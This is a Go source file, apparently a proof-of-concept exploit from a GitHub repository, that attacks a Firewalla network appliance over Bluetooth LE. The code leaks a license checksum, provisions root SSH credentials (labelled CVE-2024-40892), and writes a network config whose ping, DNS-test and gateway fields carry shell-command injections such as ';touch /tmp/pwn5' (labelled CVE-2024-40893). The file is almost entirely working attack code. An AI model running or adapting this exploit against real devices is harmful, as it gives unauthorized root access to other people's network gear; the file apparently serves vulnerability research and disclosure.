-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
107 lines (85 loc) · 2.57 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package main
import (
"encoding/json"
"errors"
"fmt"
"os"
"github.com/xen0bit/fwbt/pkg/btapi"
"tinygo.org/x/bluetooth"
)
var adapter = bluetooth.DefaultAdapter
// Fill this out with license UUID
var myLicense = ""
func main() {
// Enable BLE interface.
must("enable BLE stack", adapter.Enable())
ch := make(chan bluetooth.ScanResult, 1)
// Start scanning.
println("scanning...")
err := adapter.Scan(func(adapter *bluetooth.Adapter, result bluetooth.ScanResult) {
if result.LocalName() == "FirewallaP" {
println("found device:", result.Address.String(), result.RSSI, result.LocalName())
adapter.StopScan()
ch <- result
}
})
if err != nil {
panic(err)
}
var device bluetooth.Device
select {
case result := <-ch:
device, err = adapter.Connect(result.Address, bluetooth.ConnectionParams{})
if err != nil {
println(err.Error())
return
}
println("connected to ", result.Address.String())
}
//discovering services/characteristics
srvcs, err := device.DiscoverServices(nil)
must("discover services", err)
//Check if we've made a local copy of the base config before messing with anything
if _, err := os.Stat("base_config.json"); errors.Is(err, os.ErrNotExist) {
fmt.Println("No local copy of base config found, leaking license checksum...")
// Weaken for CVE-2024-40892
fmt.Println("Leaking license UUID CheckSum...")
po, err := btapi.PairingService(srvcs)
if err != nil {
panic(err)
}
fmt.Println("Leaked license Checksum:", po.Cs)
//If we've cracked/bruteforced the rest of the license, dump config and back it up locally
if myLicense != "" {
nc, _ := btapi.NetworkServiceRead(srvcs, myLicense)
baseConfig, _ := json.Marshal(nc)
if err := os.WriteFile("base_config.json", baseConfig, 0644); err != nil {
panic(err)
}
}
} else {
fmt.Println("Found local copy of base config, continuing...")
//Actual CVE-2024-40892
fmt.Println("Provisioning root SSH credentials...")
btapi.CredentialService(srvcs, myLicense)
//Three command injections for CVE-2024-40893
f, _ := os.ReadFile("base_config.json")
nc := &btapi.NetworkConfig{}
if err := json.Unmarshal(f, nc); err != nil {
panic(err)
}
nc.Interface.Phy.Eth0.Extra.PingTestIP = []string{";touch /tmp/pwn5"}
nc.Interface.Phy.Eth0.Extra.DNSTestDomain = ";touch /tmp/pwn6"
nc.Interface.Phy.Eth0.Gateway6 = ";touch /tmp/pwn7"
btapi.NetworkServiceWrite(srvcs, *nc, myLicense)
}
err = device.Disconnect()
if err != nil {
println(err)
}
}
func must(action string, err error) {
if err != nil {
panic("failed to " + action + ": " + err.Error())
}
}